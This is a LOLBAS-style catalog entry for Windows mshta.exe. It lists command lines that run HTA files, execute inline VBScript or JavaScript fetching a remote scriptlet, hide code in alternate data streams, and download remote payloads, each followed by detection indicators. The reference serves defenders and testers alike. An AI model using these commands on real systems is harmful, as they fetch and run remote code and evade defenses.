CatalogLOLBAS

LOL · Binary

Mshta.exe

5 techniquesWindowsLOLBASGPL-3.0

Execute

ExecutionWindows

Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

Use Execute code

mshta.exe {PATH:.hta}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
Detection
IOC: mshta.exe executing raw or obfuscated script within the command-line
IOC: General usage of HTA file
IOC: msthta.exe network connection to Internet/WWW resource
IOC: DotNet CLR libraries loaded into mshta.exe
IOC: DotNet CLR Usage Log - mshta.exe.log

Execute

ExecutionWindows

Executes VBScript supplied as a command line argument.

Use Execute code

mshta.exe vbscript:Close(Execute("GetObject(""script:{REMOTEURL:.sct}"")"))
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
Detection
IOC: mshta.exe executing raw or obfuscated script within the command-line
IOC: General usage of HTA file
IOC: msthta.exe network connection to Internet/WWW resource
IOC: DotNet CLR libraries loaded into mshta.exe
IOC: DotNet CLR Usage Log - mshta.exe.log

Execute

ExecutionWindows

Executes JavaScript supplied as a command line argument.

Use Execute code

mshta.exe javascript:a=GetObject("script:{REMOTEURL:.sct}").Exec();close();
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
Detection
IOC: mshta.exe executing raw or obfuscated script within the command-line
IOC: General usage of HTA file
IOC: msthta.exe network connection to Internet/WWW resource
IOC: DotNet CLR libraries loaded into mshta.exe
IOC: DotNet CLR Usage Log - mshta.exe.log

ADS

Defense EvasionFile WriteWindows

Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

Use Execute code hidden in alternate data stream

mshta.exe "{PATH_ABSOLUTE}:file.hta"
Evidence
Upstream reference
Environment
Local host
Context
user
Native
ADS
Detection
IOC: mshta.exe executing raw or obfuscated script within the command-line
IOC: General usage of HTA file
IOC: msthta.exe network connection to Internet/WWW resource
IOC: DotNet CLR libraries loaded into mshta.exe
IOC: DotNet CLR Usage Log - mshta.exe.log

Download

File DownloadWindows

It will download a remote payload and place it in INetCache.

Use Downloads payload from remote server

mshta.exe {REMOTEURL}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Download
MITRE
T1105
Detection
IOC: mshta.exe executing raw or obfuscated script within the command-line
IOC: General usage of HTA file
IOC: msthta.exe network connection to Internet/WWW resource
IOC: DotNet CLR libraries loaded into mshta.exe
IOC: DotNet CLR Usage Log - mshta.exe.log